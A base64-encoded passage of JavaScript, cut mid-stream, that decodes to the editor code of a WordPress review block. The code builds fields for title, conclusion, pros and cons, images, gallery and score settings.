ZHIEljb25zJyksIHZhbHVlOiAnNCcgfSk7XG5cdFx0XHRcdHNjb3JlVHlwZU9wdGlvbnMucHVzaCh7IGxhYmVsOiBfXygnSW1hZ2UnKSwgdmFsdWU6ICc1JyB9KTtcblx0XHRcdH1cblx0XHRcdGlmIChkZXNpZ24gPT09IDMgfHwgZGVzaWduID09PSA0KSB7XG5cdFx0XHRcdGJnSW1nT24gPSB0cnVlO1xuXHRcdFx0XHRiYXJzQW5pT24gPSBmYWxzZTtcblx0XHRcdH1cblxuXHRcdFx0aWYgKGRlc2lnbiA9PT0gMyB8fCBkZXNpZ24gPT09IDQgfHwgZGVzaWduID09PSA1KSB7XG5cdFx0XHRcdGNyaXRzT24gPSBmYWxzZTtcblx0XHRcdH1cblx0XHRcdHZhciBiZ0ltYWdlUGxhY2Vob2xkZXIgPSBfXygnQ2hhbmdlIEJhY2tncm91bmQgSW1hZ2UnKTtcblx0XHRcdGlmIChkZXNpZ24gPT09IDYpIHtcblx0XHRcdFx0YmdJbWFnZVBsYWNlaG9sZGVyID0gX18oJ0NoYW5nZSBNYWluIEltYWdlJyk7XG5cdFx0XHR9XG5cdFx0XHR2YXIgcG9zaXRpb25DbGFzcyA9IGF0dHJpYnV0ZXMucG9zaXRpb247XG5cdFx0XHRpZiAodHlwZW9mIHBvc2l0aW9uQ2xhc3MgPT09ICd1bmRlZmluZWQnKSB7XG5cdFx0XHRcdHBvc2l0aW9uQ2xhc3MgPSAnY2VudGVyJztcblx0XHRcdH1cblxuXHRcdFx0dmFyIGNsYXNzZXMgPSAnd3AtYmxvY2stbGV0cy1yZXZpZXcgbGV0cy1yZXZpZXctYmxvY2tfX3dyYXAgbHItY2YnO1xuXHRcdFx0Y2xhc3NlcyArPSAnIGxldHMtcmV2aWV3LS0nICsgcG9zaXRpb25DbGFzcztcblx0XHRcdGlmIChwb3NpdGlvbkNsYXNzID09PSAnbGVmdCcgfHwgcG9zaXRpb25DbGFzcyA9PT0gJ3JpZ2h0Jykge1xuXHRcdFx0XHRjbGFzc2VzICs9ICcgbGV0cy1yZXZpZXctLXNpZGUnO1xuXHRcdFx0fVxuXHRcdFx0Y2xhc3NlcyArPSAnIGxldHMtcmV2aWV3LXNraW4tJyArIHNraW47XG5cdFx0XHRjbGFzc2VzICs9ICcgbGV0cy1yZXZpZXctZGVzaWduLScgKyBkZXNpZ247XG5cdFx0XHRjbGFzc2VzICs9ICcgbGV0cy1yZXZpZXctYW5pLScgKyBhdHRyaWJ1dGVzLmFuaVR5cGU7XG5cdFx0XHRjbGFzc2VzICs9ICcgbGV0cy1yZXZpZXctc2NvcmUtdHlwZS0nICsgc2NvcmVUeXBlO1xuXHRcdFx0Y2xhc3NlcyArPSBzY29yZVR5cGUgPiAyID8gJyBsZXRzLXJldmlldy1zY29yZS10eXBlX19pY29uJyA6ICdsZXRzLXJldmlldy1zY29yZS10eXBlX19iYXInO1xuXG5cdFx0XHRpZiAoIWF0dHJpYnV0ZXMuZmlUaHVtYikge1xuXHRcdFx0XHRjbGFzc2VzICs9ICcgbm8tZmknO1xuXHRcdFx0fVxuXHRcdFx0dmFyIHN0eWxlcyA9IHt9LFxuXHRcdFx0ICAgIHRpdGxlU3R5bGVzID0ge30sXG5cdFx0XHQgICAgYWZmU3R5bGVzID0ge30sXG5cdFx0XHQgICAgc2NvcmVPdmVybGF5U3R5bGVzID0ge307XG5cblx0XHRcdGlmIChza2luID09PSAzKSB7XG5cdFx0XHRcdHN0eWxlcyA9IHtcblx0XHRcdFx0XHRiYWNrZ3JvdW5kQ29sb3I6IGF0dHJpYnV0ZXMuc2tpbkJHLFxuXHRcdFx0XHRcdGNvbG9yOiBhdHRyaWJ1dGVzLnNraW5UZXh0XG5cdFx0XHRcdH07XG5cdFx0XHRcdHRpdGxlU3R5bGVzID0ge1xuXHRcdFx0XHRcdGNvbG9yOiBhdHRyaWJ1dGVzLnNraW5UaXRsZXNcblx0XHRcdFx0fTtcblx0XHRcdH1cblxuXHRcdFx0aWYgKHNjb3JlVHlwZSA+IDIpIHtcblx0XHRcdFx0c2NvcmVPdmVybGF5U3R5bGVzID0ge1xuXHRcdFx0XHRcdGNvbG9yOiBhdHRyaWJ1dGVzLmFjY2VudFxuXHRcdFx0XHR9O1xuXHRcdFx0fVxuXG5cdFx0XHRpZiAoZGVzaWduID09PSA2KSB7XG5cdFx0XHRcdGFmZlN0eWxlcyA9IHsgYmFja2dyb3VuZDogYXR0cmlidXRlcy5hY2NlbnQgfTtcblx0XHRcdH1cblxuXHRcdFx0dmFyIG1heCA9IDEwMCxcblx0XHRcdCAgICBzdGVwID0gMSxcblx0XHRcdCAgICBzY29yZVR5cGVQcm9wID0gJ291dG9mMTAwJztcblx0XHRcdGlmIChwYXJzZUludChhdHRyaWJ1dGVzLnNjb3JlVHlwZSkgPT09IDIpIHtcblx0XHRcdFx0bWF4ID0gMTA7XG5cdFx0XHRcdHN0ZXAgPSAnLjEnO1xuXHRcdFx0XHRzY29yZVR5cGVQcm9wID0gJ291dG9mMTAnO1xuXHRcdFx0fSBlbHNlIGlmIChwYXJzZUludChhdHRyaWJ1dGVzLnNjb3JlVHlwZSkgPiAyKSB7XG5cdFx0XHRcdHNjb3JlVHlwZVByb3AgPSAnb3V0b2Y1Jztcblx0XHRcdFx0c3RlcCA9ICcuMDUnO1xuXHRcdFx0XHRtYXggPSA1O1xuXHRcdFx0fVxuXG5cdFx0XHR2YXIgYWxpZ25tZW50VG9vbCA9IHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0QmxvY2tDb250cm9scyxcblx0XHRcdFx0bnVsbCxcblx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KEJsb2NrQWxpZ25tZW50VG9vbGJhciwge1xuXHRcdFx0XHRcdHZhbHVlOiBhdHRyaWJ1dGVzLnBvc2l0aW9uLFxuXHRcdFx0XHRcdGNvbnRyb2xzOiBbJ2xlZnQnLCAnY2VudGVyJywgJ3JpZ2h0J10sXG5cdFx0XHRcdFx0b25DaGFuZ2U6IGZ1bmN0aW9uIG9uQ2hhbmdlKHZhbHVlKSB7XG5cdFx0XHRcdFx0XHRyZXR1cm4gc2V0QXR0cmlidXRlcyh7IHBvc2l0aW9uOiB2YWx1ZSB9KTtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH0pXG5cdFx0XHQpO1xuXHRcdFx0dmFyIGZyYWdtZW50Q29uY2x1c2lvbiA9IHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0RnJhZ21lbnQsXG5cdFx0XHRcdG51bGwsXG5cdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHQnZGl2Jyxcblx0XHRcdFx0XHR7IGNsYXNzTmFtZTogJ2xldHMtcmV2aWV3LWJsb2NrIGxldHMtcmV2aWV3LWJsb2NrX19jb25jbHVzaW9uX193cmFwIGxldHMtcmV2aWV3LWJsb2NrX19wYWQnIH0sXG5cdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRcdFx0J2RpdicsXG5cdFx0XHRcdFx0XHR7IGNsYXNzTmFtZTogJ2NvbmNsdXNpb25fX3RpdGxlIGxldHMtcmV2aWV3LWJsb2NrX190aXRsZScsIHN0eWxlOiB0aXRsZVN0eWxlcyB9LFxuXHRcdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFJpY2hUZXh0LCB7XG5cdFx0XHRcdFx0XHRcdG11bHRpbGluZTogZmFsc2UsXG5cdFx0XHRcdFx0XHRcdHZhbHVlOiBhdHRyaWJ1dGVzLmNvbmNsdXNpb25UaXRsZSxcblx0XHRcdFx0XHRcdFx0b25DaGFuZ2U6IGZ1bmN0aW9uIG9uQ2hhbmdlKHZhbHVlKSB7XG5cdFx0XHRcdFx0XHRcdFx0cmV0dXJuIHNldEF0dHJpYnV0ZXMoeyBjb25jbHVzaW9uVGl0bGU6IHZhbHVlIH0pO1xuXHRcdFx0XHRcdFx0XHR9LFxuXHRcdFx0XHRcdFx0XHRwbGFjZWhvbGRlcjogX18oJ1RpdGxlJylcblx0XHRcdFx0XHRcdH0pXG5cdFx0XHRcdFx0KSxcblx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHQnZGl2Jyxcblx0XHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnbGV0cy1yZXZpZXctYmxvY2tfX2NvbmNsdXNpb24nIH0sXG5cdFx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoUmljaFRleHQsIHtcblx0XHRcdFx0XHRcdFx0bXVsdGlsaW5lOiBmYWxzZSxcblx0XHRcdFx0XHRcdFx0dmFsdWU6IGF0dHJpYnV0ZXMuY29uY2x1c2lvbixcblx0XHRcdFx0XHRcdFx0b25DaGFuZ2U6IGZ1bmN0aW9uIG9uQ2hhbmdlKHZhbHVlKSB7XG5cdFx0XHRcdFx0XHRcdFx0cmV0dXJuIHNldEF0dHJpYnV0ZXMoeyBjb25jbHVzaW9uOiB2YWx1ZSB9KTtcblx0XHRcdFx0XHRcdFx0fSxcblx0XHRcdFx0XHRcdFx0cGxhY2Vob2xkZXI6IF9fKCdDb25jbHVzaW9uLi4uJylcblx0XHRcdFx0XHRcdH0pXG5cdFx0XHRcdFx0KVxuXHRcdFx0XHQpXG5cdFx0XHQpO1xuXHRcdFx0dmFyIGZyYWdtZW50UHJvc0NvbnMgPSB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdEZyYWdtZW50LFxuXHRcdFx0XHRudWxsLFxuXHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0J2RpdicsXG5cdFx0XHRcdFx0eyBjbGFzc05hbWU6ICdsZXRzLXJldmlldy1ibG9jayBsZXRzLXJldmlldy1ibG9ja19fcHJvc2NvbnMgbGV0cy1yZXZpZXctYmxvY2tfX3BhZCcgfSxcblx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHQnZGl2Jyxcblx0XHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnbGV0cy1yZXZpZXctYmxvY2tfX3Byb3MnIH0sXG5cdFx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHRcdCdkaXYnLFxuXHRcdFx0XHRcdFx0XHR7IGNsYXNzTmFtZTogJ3Byb3Njb25zX190aXRsZSBsZXRzLXJldmlldy1ibG9ja19fdGl0bGUnLCBzdHlsZTogdGl0bGVTdHlsZXMgfSxcblx0XHRcdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFJpY2hUZXh0LCB7XG5cdFx0XHRcdFx0XHRcdFx0bXVsdGlsaW5lOiBmYWxzZSxcblx0XHRcdFx0XHRcdFx0XHR2YWx1ZTogYXR0cmlidXRlcy5wcm9zVGl0bGUsXG5cdFx0XHRcdFx0XHRcdFx0b25DaGFuZ2U6IGZ1bmN0aW9uIG9uQ2hhbmdlKHZhbHVlKSB7XG5cdFx0XHRcdFx0XHRcdFx0XHRyZXR1cm4gc2V0QXR0cmlidXRlcyh7IHByb3NUaXRsZTogdmFsdWUgfSk7XG5cdFx0XHRcdFx0XHRcdFx0fSxcblx0XHRcdFx0XHRcdFx0XHRwbGFjZWhvbGRlcjogX18oJ1BybyBUaXRsZScpXG5cdFx0XHRcdFx0XHRcdH0pXG5cdFx0XHRcdFx0XHQpLFxuXHRcdFx0XHRcdFx0YXR0cmlidXRlcy5wcm9zLm1hcChmdW5jdGlvbiAoYmxvY2ssIGluZGV4KSB7XG5cdFx0XHRcdFx0XHRcdHJldHVybiB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHRcdFx0J2RpdicsXG5cdFx0XHRcdFx0XHRcdFx0eyBjbGFzc05hbWU6ICdsZXRzLXJldmlldy1ibG9ja19fcHJvIGxldHMtcmV2aWV3LWJsb2NrX19wcm9jb24gd2l0aC0tcmVtb3ZlcicgfSxcblx0XHRcdFx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicsIHsgY2xhc3NOYW1lOiAnbGV0cy1yZXZpZXctcmVtb3ZlcicsIG9uQ2xpY2s6IGZ1bmN0aW9uIG9uQ2xpY2soKSB7XG5cdFx0XHRcdFx0XHRcdFx0XHRcdHJldHVybiBibG9ja1JlbW92ZXIoJ3Byb3MnLCBpbmRleCk7XG5cdFx0XHRcdFx0XHRcdFx0XHR9IH0pLFxuXHRcdFx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChSaWNoVGV4dCwge1xuXHRcdFx0XHRcdFx0XHRcdFx0bXVsdGlsaW5lOiBmYWxzZSxcblx0XHRcdFx0XHRcdFx0XHRcdHZhbHVlOiBibG9jay50aXRsZSxcblx0XHRcdFx0XHRcdFx0XHRcdG9uQ2hhbmdlOiBibG9ja0VkaXRvci5iaW5kKF90aGlzMiwgaW5kZXgsICdwcm9zJywgJ3RpdGxlJywgJycpLFxuXHRcdFx0XHRcdFx0XHRcdFx0cGxhY2Vob2xkZXI6IF9fKCdFbnRlciBQcm8nKVxuXHRcdFx0XHRcdFx0XHRcdH0pXG5cdFx0XHRcdFx0XHRcdCk7XG5cdFx0XHRcdFx0XHR9KSxcblx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHRcdFx0J2RpdicsXG5cdFx0XHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnbGV0cy1yZXZpZXctYmxvY2sgbGV0cy1yZXZpZXctYWRkZXItd3JhcCcgfSxcblx0XHRcdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRcdFx0XHRcdCdkaXYnLFxuXHRcdFx0XHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnbGV0cy1yZXZpZXctYWRkZXIgbGV0cy1yZXZpZXctZm9udCcsIG9uQ2xpY2s6IGZ1bmN0aW9uIG9uQ2xpY2soKSB7XG5cdFx0XHRcdFx0XHRcdFx0XHRcdHJldHVybiBibG9ja0FkZGVyKCdwcm9zJyk7XG5cdFx0XHRcdFx0XHRcdFx0XHR9IH0sXG5cdFx0XHRcdFx0XHRcdFx0X18oJ0FkZCBQcm8nKVxuXHRcdFx0XHRcdFx0XHQpXG5cdFx0XHRcdFx0XHQpXG5cdFx0XHRcdFx0KSxcblx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHQnZGl2Jyxcblx0XHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnbGV0cy1yZXZpZXctYmxvY2tfX2NvbnMnIH0sXG5cdFx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHRcdCdkaXYnLFxuXHRcdFx0XHRcdFx0XHR7IGNsYXNzTmFtZTogJ2NvbnNjb25zX190aXRsZSBsZXRzLXJldmlldy1ibG9ja19fdGl0bGUnLCBzdHlsZTogdGl0bGVTdHlsZXMgfSxcblx0XHRcdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFJpY2hUZXh0LCB7XG5cdFx0XHRcdFx0XHRcdFx0bXVsdGlsaW5lOiBmYWxzZSxcblx0XHRcdFx0XHRcdFx0XHR2YWx1ZTogYXR0cmlidXRlcy5jb25zVGl0bGUsXG5cdFx0XHRcdFx0XHRcdFx0b25DaGFuZ2U6IGZ1bmN0aW9uIG9uQ2hhbmdlKHZhbHVlKSB7XG5cdFx0XHRcdFx0XHRcdFx0XHRyZXR1cm4gc2V0QXR0cmlidXRlcyh7IGNvbnNUaXRsZTogdmFsdWUgfSk7XG5cdFx0XHRcdFx0XHRcdFx0fSxcblx0XHRcdFx0XHRcdFx0XHRwbGFjZWhvbGRlcjogX18oJ0NvbiBUaXRsZScpXG5cdFx0XHRcdFx0XHRcdH0pXG5cdFx0XHRcdFx0XHQpLFxuXHRcdFx0XHRcdFx0YXR0cmlidXRlcy5jb25zLm1hcChmdW5jdGlvbiAoYmxvY2ssIGluZGV4KSB7XG5cdFx0XHRcdFx0XHRcdHJldHVybiB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHRcdFx0J2RpdicsXG5cdFx0XHRcdFx0XHRcdFx0eyBjbGFzc05hbWU6ICdsZXRzLXJldmlldy1ibG9ja19fY29uIGxldHMtcmV2aWV3LWJsb2NrX19wcm9jb24gd2l0aC0tcmVtb3ZlcicgfSxcblx0XHRcdFx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicsIHsgY2xhc3NOYW1lOiAnbGV0cy1yZXZpZXctcmVtb3ZlcicsIG9uQ2xpY2s6IGZ1bmN0aW9uIG9uQ2xpY2soKSB7XG5cdFx0XHRcdFx0XHRcdFx0XHRcdHJldHVybiBibG9ja1JlbW92ZXIoJ2NvbnMnLCBpbmRleCk7XG5cdFx0XHRcdFx0XHRcdFx0XHR9IH0pLFxuXHRcdFx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChSaWNoVGV4dCwge1xuXHRcdFx0XHRcdFx0XHRcdFx0bXVsdGlsaW5lOiBmYWxzZSxcblx0XHRcdFx0XHRcdFx0XHRcdHZhbHVlOiBibG9jay50aXRsZSxcblx0XHRcdFx0XHRcdFx0XHRcdG9uQ2hhbmdlOiBibG9ja0VkaXRvci5iaW5kKF90aGlzMiwgaW5kZXgsICdjb25zJywgJ3RpdGxlJywgJycpLFxuXHRcdFx0XHRcdFx0XHRcdFx0cGxhY2Vob2xkZXI6IF9fKCdFbnRlciBDb24nKVxuXHRcdFx0XHRcdFx0XHRcdH0pXG5cdFx0XHRcdFx0XHRcdCk7XG5cdFx0XHRcdFx0XHR9KSxcblx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHRcdFx0J2RpdicsXG5cdFx0XHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnbGV0cy1yZXZpZXctYmxvY2sgbGV0cy1yZXZpZXctYWRkZXItd3JhcCcgfSxcblx0XHRcdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRcdFx0XHRcdCdkaXYnLFxuXHRcdFx0XHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnbGV0cy1yZXZpZXctYWRkZXIgbGV0cy1yZXZpZXctZm9udCcsIG9uQ2xpY2s6IGZ1bmN0aW9uIG9uQ2xpY2soKSB7XG5cdFx0XHRcdFx0XHRcdFx0XHRcdHJldHVybiBibG9ja0FkZGVyKCdjb25zJyk7XG5cdFx0XHRcdFx0XHRcdFx0XHR9IH0sXG5cdFx0XHRcdFx0XHRcdFx0X18oJ0FkZCBDb24nKVxuXHRcdFx0XHRcdFx0XHQpXG5cdFx0XHRcdFx0XHQpXG5cdFx0XHRcdFx0KVxuXHRcdFx0XHQpXG5cdFx0XHQpO1xuXHRcdFx0dmFyIGZyYWdtZW50SW1nID0gd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRGcmFnbWVudCxcblx0XHRcdFx0bnVsbCxcblx0XHRcdFx0YXR0cmlidXRlcy5iZ1RodW1iICYmIGRlc2lnbiA9PT0gNiA/IHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHQnZGl2Jyxcblx0XHRcdFx0XHR7IGNsYXNzTmFtZTogJ2xldHMtcmV2aWV3LWJsb2NrIGxldHMtcmV2aWV3LWJsb2NrX19pbWcnIH0sXG5cdFx0XHRcdFx0YXR0cmlidXRlcy5iZ1RodW1iID8gd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KCdpbWcnLCB7IHNyYzogYXR0cmlidXRlcy5iZ1RodW1iIH0pIDogJydcblx0XHRcdFx0KSA6ICcnXG5cdFx0XHQpO1xuXHRcdFx0dmFyIGZyYWdtZW50QkcgPSB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdEZyYWdtZW50LFxuXHRcdFx0XHRudWxsLFxuXHRcdFx0XHRhdHRyaWJ1dGVzLmJnVGh1bWIgJiYgdHJ1ZSA9PT0gYmdJbWdPbiA/IHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2JywgeyBjbGFzc05hbWU6ICdsZXRzLXJldmlldy1ibG9jayBsZXRzLXJldmlldy1ibG9ja19fYmcnLCBzdHlsZTogeyBiYWNrZ3JvdW5kSW1hZ2U6ICd1cmwoJyArIGF0dHJpYnV0ZXMuYmdUaHVtYiArICcpJyB9IH0pIDogJydcblx0XHRcdCk7XG5cblx0XHRcdHZhciBmcmFnbWVudFRpdGxlID0gd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRGcmFnbWVudCxcblx0XHRcdFx0bnVsbCxcblx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRcdCdkaXYnLFxuXHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnbGV0cy1yZXZpZXctYmxvY2sgbGV0cy1yZXZpZXctYmxvY2tfX21haW4tdGl0bGUgbHItdmMgbGV0cy1yZXZpZXctYmxvY2tfX3BhZCcgfSxcblx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHQnZGl2Jyxcblx0XHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnbGV0cy1yZXZpZXctYmxvY2tfX21hc2sgbHItdmMgd2l0aC0tcmVtb3ZlcicgfSxcblx0XHRcdFx0XHRcdGF0dHJpYnV0ZXMuZmlUaHVtYiA/IHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudCgnaW1nJywgeyBzcmM6IGF0dHJpYnV0ZXMuZmlUaHVtYiB9KSA6ICcnLFxuXHRcdFx0XHRcdFx0YXR0cmlidXRlcy5maVRodW1iID8gd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KCdkaXYnLCB7IGNsYXNzTmFtZTogJ2xldHMtcmV2aWV3LXJlbW92ZXInLCBvbkNsaWNrOiBmdW5jdGlvbiBvbkNsaWNrKCkge1xuXHRcdFx0XHRcdFx0XHRcdHJldHVybiBzZXRBdHRyaWJ1dGVzKHsgZmlJRDogJycsIGZpVGh1bWI6ICcnIH0pO1xuXHRcdFx0XHRcdFx0XHR9IH0pIDogd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRcdFx0XHRNZWRpYVVwbG9hZENoZWNrLFxuXHRcdFx0XHRcdFx0XHRudWxsLFxuXHRcdFx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoTWVkaWFVcGxvYWQsIHtcblx0XHRcdFx0XHRcdFx0XHRvblNlbGVjdDogb25JbWFnZVNlbGVjdC5iaW5kKHRoaXMsICdmaScpLFxuXHRcdFx0XHRcdFx0XHRcdHR5cGU6ICdpbWFnZScsXG5cdFx0XHRcdFx0XHRcdFx0dmFsdWU6IGF0dHJpYnV0ZXMuZmlJRCxcblx0XHRcdFx0XHRcdFx0XHRyZW5kZXI6IGZ1bmN0aW9uIHJlbmRlcihfcmVmKSB7XG5cdFx0XHRcdFx0XHRcdFx0XHR2YXIgb3BlbiA9IF9yZWYub3Blbjtcblx0XHRcdFx0XHRcdFx0XHRcdHJldHVybiB3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHRcdFx0XHRcdCdidXR0b24nLFxuXHRcdFx0XHRcdFx0XHRcdFx0XHR7IG9uQ2xpY2s6IG9wZW4sIGNsYXNzTmFtZTogJ2xldHMtcmV2aWV3LXVwbG9hZCcgfSxcblx0XHRcdFx0XHRcdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdzdmcnLFxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdHsgd2lkdGg6ICcyNHB4JywgaGVpZ2h0OiAnMjRweCcsIHZpZXdCb3g6ICcwIDAgMjQgMjQnIH0sXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KCdwYXRoJywgeyBkOiAnTTE5LDIgTDUsMiBDMy4zLDIgMiwzLjMgMiw1IEwyLDE5IEMyLDIwLjcgMy4zLDIyIDUsMjIgTDE5LDIyIEMyMC43LDIyIDIyLDIwLjcgMjIsMTkgTDIyLDUgQzIyLDMuMyAyMC43LDIgMTksMiBaIE00LDUgQzQsNC40IDQuNCw0IDUsNCBMMTksNCBDMTkuNiw0IDIwLDQuNCAyMCw1IEwyMCwxMi42IEwxNi43LDkuMyBDMTYuMyw4LjkgMTUuNyw4LjkgMTUuMyw5LjMgTDQuNywxOS45IEM0LjMsMTkuOCA0LDE5LjQgNCwxOSBMNCw1IFogTTE5LDIwIEw3LjQsMjAgTDE2LDExLjQgTDIwLDE1LjQgTDIwLDE5IEMyMCwxOS42IDE5LjYsMjAgMTksMjAgWiBNOC41LDExIEM5LjksMTEgMTEsOS45IDExLDguNSBDMTEsNy4xIDkuOSw2IDguNSw2IEM3LjEsNiA2LDcuMSA2LDguNSBDNiw5LjkgNy4xLDExIDguNSwxMSBaIE04LjUsOCBDOC44LDggOSw4LjIgOSw4LjUgQzksOC44IDguOCw5IDguNSw5IEM4LjIsOSA4LDguOCA4LDguNSBDOCw4LjIgOC4yLDggOC41LDggWicsIGlkOiAncGF0aC0xJyB9KVxuXHRcdFx0XHRcdFx0XHRcdFx0XHQpXG5cdFx0XHRcdFx0XHRcdFx0XHQpO1xuXHRcdFx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHRcdFx0fSlcblx0XHRcdFx0XHRcdClcblx0XHRcdFx0XHQpLFxuXHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChcblx0XHRcdFx0XHRcdCdkaXYnLFxuXHRcdFx0XHRcdFx0eyBjbGFzc05hbWU6ICdsZXRzLXJldmlldy1ibG9ja19fdGl0bGUnLCBzdHlsZTogdGl0bGVTdHlsZXMgfSxcblx0XHRcdFx0XHRcdHdwLmVsZW1lbnQuY3JlYXRlRWxlbWVudChSaWNoVGV4dCwge1xuXHRcdFx0XHRcdFx0XHRtdWx0aWxpbmU6IGZhbHNlLFxuXHRcdFx0XHRcdFx0XHR2YWx1ZTogYXR0cmlidXRlcy50aXRsZSxcblx0XHRcdFx0XHRcdFx0b25DaGFuZ2U6IGZ1bmN0aW9uIG9uQ2hhbmdlKHZhbHVlKSB7XG5cdFx0XHRcdFx0XHRcdFx0cmV0dXJuIHNldEF0dHJpYnV0ZXMoeyB0aXRsZTogdmFsdWUgfSk7XG5cdFx0XHRcdFx0XHRcdH0sXG5cdFx0XHRcdFx0XHRcdHBsYWNlaG9sZGVyOiBfXygnTWFpbiBUaXRsZScpXG5cdFx0XHRcdFx0XHR9KVxuXHRcdFx0XHRcdClcblx0XHRcdFx0KVxuXHRcdFx0KTtcblxuXHRcdFx0dmFyIGZyYWdtZW50R2FsbGVyeSA9IGF0dHJpYnV0ZXMuZ2FsbGVyeS5sZW5ndGggPiAwID8gd3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRGcmFnbWVudCxcblx0XHRcdFx0bnVsbCxcblx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRcdCdkaXYnLFxuXHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnbGV0cy1yZXZpZXctYmxvY2sgbGV0cy1yZXZpZXctYmxvY2tfX2dhbGxlcnkgbGV0cy1yZXZpZXctYmxvY2tfX3BhZCcgfSxcblx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoXG5cdFx0XHRcdFx0XHQnZGl2Jyxcblx0XHRcdFx0XHRcdHsgY2xhc3NOYW1lOiAnbGV0cy1yZXZpZXctYmxvY2tfX3RpdGxlJywgc3R5bGU6IHRpdGxlU3R5bGVzIH0sXG5cdFx0XHRcdFx0XHR3cC5lbGVtZW50LmNyZWF0ZUVsZW1lbnQoUmljaFRleHQsIHtcblx0XHRcdFx0XHRcdFx0bXVsdGlsaW5lOiBmYWxzZSxcblx0XHRcdFx0XHRcdFx0dmFsdWU6IGF0dHJpYnV0ZXMuZ2FsbGVyeVRpdGxlLFxuXHRcdFx0XHRcdFx0XHRvbkNoYW5nZTogZnVuY3Rpb24gb25DaGFuZ2UodmFsdWUpIHtcblx0XHRcdFx0XHRcdFx0XHRyZXR1cm4gc2V0QXR0cmlidXRlcyh7IGdhbGxlcnlUaXRsZTogdmFsdWUgfSk7XG5cdFx0XHRcdFx0XHRcdH0sXG5cdFx0XHRcdFx0XHRcdHBsYWNlaG9sZGVyOiBfXygnR2FsbGVyeSBUaXRsZScpXG5cdFx0XHRcdFx0XHR9KVxuXHRcdFx0XHRcdCksXG5cdFx0XHRcdFx0d3AuZWxlbWVudC5jcmVhdGVFbGVtZW50KFxuXHRcdFx0XHRcdFx0J2RpdicsXG5cdFx0XHRcdFx0XHR